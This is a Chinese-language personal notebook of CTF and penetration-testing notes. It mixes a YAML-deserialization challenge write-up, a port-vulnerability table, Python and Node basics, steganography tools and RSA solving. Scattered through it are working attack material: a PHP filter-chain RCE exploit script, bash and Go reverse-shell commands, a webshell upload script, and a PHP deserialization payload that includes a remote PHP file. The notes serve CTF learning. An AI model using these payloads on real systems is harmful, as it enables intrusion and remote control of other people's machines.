零碎总结
复现
[HDCTF 2023]YamiYami:
file协议读取 发现app被过滤 两次url编码绕过
(41条消息) 双URL编码绕过WAF_红云谈安全的博客-CSDN博客
获取计算机硬件地址目录:/sys/class/net/eth0/address
Yaml与json转换在线YAML转JSON (lddgo.net)
Yaml基本内容:
YAML 入门教程 | 菜鸟教程 (runoob.com)
强制类型转换
yaml是可以进行强制转换的,用 !! 实现,如下
str: !!str 3.14
int: !!int "123"
输出结果:
{'int': 123, 'str': '3.14'}
分段规则使用
在同一个yaml文件中,可以用 — 来分段,这样可以将多个文档写在一个文件中
---
name: James
age: 20
---
name: Lily
age: 19
浅谈PyYAML反序列化漏洞 - 先知社区 (aliyun.com)
Yaml反序列化:
版本小于5.1的:
当 存在yaml.load()且参数可控
本地测试时文件名不要定义为yaml会起冲突
(41条消息) TypeError: load() missing 1 required positional argument: ‘Loader‘_typeerror: eval() missing 1 required positional ar_one_wangtester的博客-CSDN博客
YAML 5.1版本后弃用了yaml.load(file)这个用法,因为觉得很不安全,5.1版本之后就修改了需要指定Loader,通过默认加载器(FullLoader)禁止执行任意函数,该load函数也变得更加安全
题目源码:
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
[(41条消息) HDCTF 2023]web YamiYami yaml反序列化+session伪造_GXcodes的博客-CSDN博客
里边是用uuid.getnode()函数作为种子的
-
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
-
那么/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可。
测试:
import uuid # Get the hardware address as a 48-bit positive integer print("MAC address integer format", uuid.getnode()) print("MAC address Hex format", hex(uuid.getnode()))只不过零省略了

phar反序列化:浅析Phar反序列化 - FreeBuf网络安全行业门户
python
__import__('os').popen('dir').read() python环境命令利用
find flag.txt -exec cat flag.txt \;
linux
echo * 读取目录文件
常见端口漏洞
常见的默认端口
1、web类(web漏洞/敏感目录)
第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ...
80 web
80-89 web
8000-9090 web
2、数据库类(扫描弱口令)
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
50000 DB2
3、特殊服务类(未授权/命令执行类/漏洞)
443 SSL心脏滴血
445 ms08067/ms11058/ms17010等
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
4、常用端口类(扫描弱口令/端口爆破)
21 ftp
22 SSH
23 Telnet
445 SMB弱口令扫描
2601,2604 zebra路由,默认密码zebra
3389 远程桌面
5、端口合计所对应的服务
21 ftp
22 SSH
23 Telnet
25 SMTP
53 DNS
69 TFTP
80 web
80-89 web
110 POP3
135 RPC
139 NETBIOS
143 IMAP
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1080 socks
1158 ORACLE EMCTL2601,2604 zebra路由,默认密码zebra案
1433 MSSQL (暴力破解)
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 MySQL (暴力破解)
3312/3311 kangle主机管理系统登陆
3389 远程桌面
3690 svn
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
4848 GlassFish web中间件 弱口令:admin/adminadmin
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCd/ 主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8081 Symantec AV/Filter for MSE
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9000 fcgi fcig php执行
9043 websphere[web中间件] 弱口令: admin/admin websphere/ websphere ststem/manager
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50060 hadoop
50070,50030 hadoop默认端口未授权访问
python
变量m
m.title() 首字母大写
m.upper()全部大写
m.lower()全部小写
m.rstriip()清除末尾多余的空白
m.lstriip()清除开头多余的空白
m.striip()清除首位多余的空白
两个乘号表示平方 ** 2**3 == 8
str函数 将数字转化为字符串 str(23) == "23"
a = ['1','2']
a.append('3') == ['1','2','3']
a.insert(0,'0') == ['0',1','2','3']
del a[0] == ['1','2','3']
a.pop()
a == ['1','2']
输出 3
a.pop(0)
a == ['2']
输出 1
a.remove('2')
a为空
a = ['2','1']
a.sort()
a == ['1','2']
a.sort(reverse = True)
a == ['2','1']
sorted(a) 临时排序
a.reverse() 反转列表顺序
len(a) 输出长度
range(1,5) 数字1到4
list list(range(1,5))转化列表
range(1,5,2) 指定步长2
min(a) 找最小值
max(a) 找最大值
sum(a) 求和
print([v**2 for v in range(1,11)]) #列表解析
a[0:2] #列表切片
元组 a = (1,2) 元组不能被修改,但是可以修改元组变量
if 比较时有 == != > < <= >= in(列表检查) 用 and 或 or 连接多个条件
if - elif if - else if - elif - else
if a:
判断列表a是否为空
a = {'1':'1','2':'2'}
del a['1'] a == {'2':'2'}
遍历列表 items()方法
a = {'1':'1','2':'2'}
for k,v in a.items():
print(k)
print(v)
for k in a.keys():
print(k)
for k in a.values():
print(k)
for k in set(a.keys()):
print(k)
输出独一无二的值
input("请输入") #从用户端进行输入
while 与 if 类似
def a():
print("a")
a()
'''文本'''.replace("\n","\r\n") #将文本中的 \n 换成 \r\n
from urllib import parse
parse.quote(变量) #url编码
parse.urlencode(字典) #url编码
parse.unquote(text) #url解码
ord(变量) #unicode编码
0x0100 是 256
u"" #表示unicode字符串 出现中文等,防止乱码
pip3 install you-get
可以用you-get下载b站等上边的视频
you-get -i URL 查看可以下载的文件
下载
you-get --itag=137 https://www.youtube.com/watch?v=o_nxIQTM_B0
python实现文件上传的脚本:
import base64
import requests
url = 'http://60065450-e5dc-4c9c-aa48-ece8a8aed34f.challenge.ctf.show/upload.php'
shell = '473xeG4d3kJANayE56+fzrJLaDo2vtMx'
files = {'file': ("shell.png", base64.b64decode(shell))}
response = requests.post(url, files=files)
print(response.text)
md5截断爆破脚本:
<?php
$a=0;
while(1)
{
if(substr(md5($a),-6,6)==='8b184b')
{
echo $a;
break;
}
$a++;
}
?>
渗透测试
信息收集
nslookup + 域名 得ip
dig + 域名
whois
shodan
网站信息
.phps
www.zip
/.git/
/.svn/
.php.swp
/db/db.mdb 数据库文件
JS上的信息搜集及漏洞搜索
js自动搜索工具:
https://github.com/Threezh1/JSFinder
python JSFinder.py -u http://www.mi.com -d -ou url.txt -os subdomain.txt
js F12中源代码断点调试

ctrl + f 在源代码中可以使用搜索功能 更快的查找所需内容
vscode调用终端的快捷键 ctrl + esc键下边那个
python绕过前端js加密密码:
1.py:
import execjs
with open("1.js",'r') as f:
a = execjs.compile(f.read())
result1 = a.call('chen','123')
print(result1)
1.js: // 这里边是看所测试网站前端js加密的内容
function chen(message){
var a = message;
a = a+"abcde";
return a;
}
google的高级搜索:
https://www.google.com.hk/advanced_search?hl=zh-CN
百度的高级搜索:
https://www.baidu.com/gaoji/advanced.html
FUZZ
空白界面 测试参数
文件名的测试
目录的测试
扫描网段存活主机
map -v -sP 202.200.117.0/24
nmap -A 202.200.117.11 查看端口及操作系统
社区
Web安全 - FreeBuf网络安全行业门户(比较优质)
奇安信攻防社区 (butian.net)
吾爱破解 - LCG - LSG|安卓破解|病毒分析|www.52pojie.cn
安全客 - 安全资讯平台 (anquanke.com)
T00ls | 低调求发展 - 潜心习安全 - T00ls.Com
看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)(知识库资源很多)
技术文章 - 先知社区 (aliyun.com)(比较冷清)
SQL注入Bypass
order by 可以用 group by 替换 或者 /*!Order*/ by



msf
use auxiliary/scanner/netbios/nbname
show options
set RHOSTS ip
nmap
nmap --script=Vuln ip
nmap -sC -Pn ip
nikto
nikto -h url
whatweb
whatweb url
skipfish
skipfish -o test url
xdg-open
xdg-open 图片名
node.js
输出:
console.log("hello world")
编译:
node 文件名.js
required模块载入node.js模块
创建http服务:
node 1.js
var http = require('http');
http.createServer(function (request, response) {
// 发送 HTTP 头部
// HTTP 状态值: 200 : OK
// 内容类型: text/plain
response.writeHead(200, {'Content-Type': 'text/plain'});
// 发送响应数据 "Hello World"
response.end('Hello World\n');
}).listen(8888);
// 终端打印如下信息
console.log('Server running at http://127.0.0.1:8888/');
node的REPL的命令行
node
> 交互的shell
使用下划线获取上个表达式的运算结果
10+20
30
var sum = _
console.log(sum)
30
读取文件(阻塞代码)
var fs = require("fs");
var data = fs.readFileSync('input.txt');
console.log(data.toString());
console.log("程序执行结束!");
读取文件非阻塞代码
var fs = require("fs");
fs.readFile('input.txt', function (err, data) {
if (err) return console.error(err);
console.log(data.toString());
});
console.log("程序执行结束!");
EventEmitter用法
//event.js 文件
var EventEmitter = require('events').EventEmitter;
var event = new EventEmitter();
event.on('some_event', function() { //事件监听器
console.log('some_event 事件触发');
});
setTimeout(function() {
event.emit('some_event');
}, 1000);
HGEME
xss
<a href="javascript:alert(1)">Click me</a>
点击后,会执行javascript后的代码
套娃密码
密文:base64
5Yeg5Liq5pif5pyf5YmN77yM5oiR5Lus5pS25Yiw5LiA5Liq56We56eY55qE5raI5oGv44CC5L2G5piv6L+Z5Liq5raI5oGv6KKr6YeN6YeN5Yqg5a+G77yM5oiR5Lus5LiN55+l6YGT5a6D55qE55yf5q2j5ZCr5LmJ5piv5LuA5LmI44CC5ZSv5LiA55+l6YGT55qE5L+h5oGv5piv5YWz5LqO5a+G6ZKl55qE77ya4oCc5Y+q5pyJ5YCS552A57+76L+H5Y2B5YWr5bGC55qE56+x56yG5omN6IO95oq16L6+5YyX5qyn56We6K+d55qE57uI54K54oCd44CC
得到:
几个星期前,我们收到一个神秘的消息。但是这个消息被重重加密,我们不知道它的真正含义是什么。唯一知道的信息是关于密钥的:“只有倒着翻过十八层的篱笆才能抵达北欧神话的终点”。
将音频用morse2ascii进行处理,去掉多余的下划线然后reverce后在key为18栅栏密码解码,然后再维格纳(Vigenere)密钥为 vidar 解码
RSA
from Crypto.Util.number import *
flag = open('flag.txt', 'rb').read()
p = getPrime(512)
q = getPrime(512)
n=p*q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
print(f"c={c}")
print(f"n={n}")
"""
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
"""
有 c n e
n用 factordb.com去分解得到p 和 q
然后直接用脚本
from Crypto.Util.number import *
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
p = 11239134987804993586763559028187245057652550219515201768644770733869088185320740938450178816138394844329723311433549899499795775655921261664087997097294813
q = 12022912661420941592569751731802639375088427463430162252113082619617837010913002515450223656942836378041122163833359097910935638423464006252814266959128953
e = 65537
print(long_to_bytes(pow(c, inverse(e, (p-1)*(q-1)), n)))
010 Editor修改图片高度
https://blog.csdn.net/hclimg/article/details/110280589
binwalk
查看图片文件然后foremost分离
binwalk -e 文件名
分离文件
Mypage
文件包含打出的RCE的EXP:
import requests
url = "http://43.143.7.127:28292/index.php?file="
file_to_use = "/etc/passwd"
command = "cat flag.php"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
这个payload也可以读出源文件,因为include_once所以只能从进程中读取,多级连接绕过include_once
https://www.anquanke.com/post/id/213235#h3-7
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
php中base64的奇怪用处
<?php
$a = "\x1bY\xffQ\xfa"; //YQ 为 a 的 base64 编码
var_dump(base64_decode($a));
输出:string(1) "a"
MyDoor
include包含的 直接php://filter/read=convert.base64-encode/resource=index.php就可以
发现eval口,但是传参名为N_S.S
这里因为php的特性,需要用N[S.S 来接收
Upload_gogoggo
上传的文件文件名会被拼到命令的一部分
go run run.go会编译run.go文件
反弹shell的go脚本
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/ip 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
执行命令的go脚本
package main
import (
"os/exec"
)
func main() {
cmd := exec.Command("ls")
buf, _ := cmd.Output() // 错误处理略
print(string(buf))
}
读文件的脚本
package main
import (
"bufio"
"fmt"
"io"
"os"
)
func lineByLine(file string) error {
var err error
f, err := os.Open(file)
if err != nil {
return err
}
defer f.Close()
r := bufio.NewReader(f)
for {
line, err := r.ReadString('\n')
if err == io.EOF {
break
} else if err != nil {
fmt.Printf("error reading file %s", err)
break
}
fmt.Print(line)
}
return nil
}
func main() {
err := lineByLine("/home/galf")
if err != nil {
fmt.Println(err)
}
}
反弹shell命令大全
bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
云服务器反弹shell
注意:在ECS里,安全组里开启需要监听的端口,其余一样
<?php
class KeyPort {
public function __call($name, $arguments)
{
call_user_func_array($this->format[$name],$arguments);
}
}
class v1nd{
public $name;
public $wo;
public function __toString()
{
return $this->name->func($this->wo);
}
}
class b1nb1n {
public $bin;
public function __destruct()
{
echo $this->bin;
}
}
$bln = new b1nb1n();
$ke = new KeyPort();
$vl = new v1nd();
$bln->bin = $vl;
$vl->name = $ke;
$vl->wo = 'include "http://47.96.129.52/1.php"';
$ke->format['func'] = 'assert';
//$ke->
$flag = base64_encode(serialize($bln));
echo $flag;
echo '分界线';
//$flag = unserialize(base64_decode($bln));
//echo $flag;
?>
图片
png图片
开头:89 50 4E 47 0D 0A 1A 0A
结尾:00 00 49 45 4E 44 AE 42 60 82
exiftool工具分析EXIF数据结构
binwalk
分离文件
010
在文件尾隐藏数据
或者关键字搜索(数据隐藏在中间)
BMP格式的文件头里有4位字节叫作偏移量,是用来指定从哪个字节开始为实际图像数据用的。这题就是利用增大这个偏移量的方法,把冗余数据塞在了BMP头和图像数据中间的地方。因为这段数据不会被识别,所以可以说是跳过去了。
foremost
图片分离
winhex
exiftool
查看图片详细信息 也可以修改或添加信息
exiftool -ThumbnailImage -b misc22.jpg > 1.jpg (thumbnail隐写)
UnixTimestamp 时间戳
DECtoHEX 十进制转十六进制
zsteg
zsteg -e extradata:0 misc17.png > 1.txt

提权
dd
dd if=misc14.jpg of=1.jpeg skip=2103 bs=1
数据读写
tweakpng
数据块删除 f7 查看图片
BPG

后面加BPG图片的路径
JPEG (jpg) 文件头:FF D8 FF 文件尾:FF D9
PNG (png),文件头:89504E47
Windows Bitmap (bmp), 文件头:424D 文件尾:
GIF (gif),文件头:47494638
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
Adobe Acrobat (pdf),文件头:255044462D312E
Windows Password (pwl),文件头:E3828596
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
TIFF (tif), 文件头:49492A00 文件尾:
zlib是PNG IDAT块数据可选的压缩格式
用 binwalk -e可以解析
压缩包
fcrackzip暴力破解压缩包密码
公钥密码
RSA
互质
互质(relatively primeì)又叫互素。若N个整数的最大公因数是1,则称这N个整数互质。 例如8,10的最大公因数是2,不是1,因此不是整数互质。 7,10,13的最大公因数是1,因此这是整数互质。
欧拉函数
在数论,对正整数n,欧拉函数是小于n的正整数中与n互质的数的数目.
求欧拉函数的算法:
#include<iostream>
using namespace std;
int phi(int n)
{
int res = n;
for (int i = 2; i * i <= n; i++)
if (n % i == 0)
{
res /= i, res *= (i - 1);//5
while (n % i == 0) n /= i;
}
if (n > 1) res /= n, res *= (n - 1); // 2
return res;
}
int main()
{
int flag;
flag = phi(1);
cout << flag << endl;
/*int x = 5;
x = 2.7, sqrt(2 * x);
cout << x;*/
return 0;
}
RSA过程:
p q 极大的两个质数
n p*q
f(n) (p-1)*(q-1)
e 1<e<f(n) gcd(e,n) = 1
d 1<d<f(n) gcd(d,n) = 1
gcd(ed,f(n)) = 1
线性映射
凯撒(caesar cipher)
维吉尼亚(vigenere cipher)
凯撒的升级版
固定替换
培根(bacon's cipher)
猪圈(pigpen cipher)
密码图上的特殊符号
移位密码
栅栏
曲路
更多:CTF中那些脑洞大开的编码和加密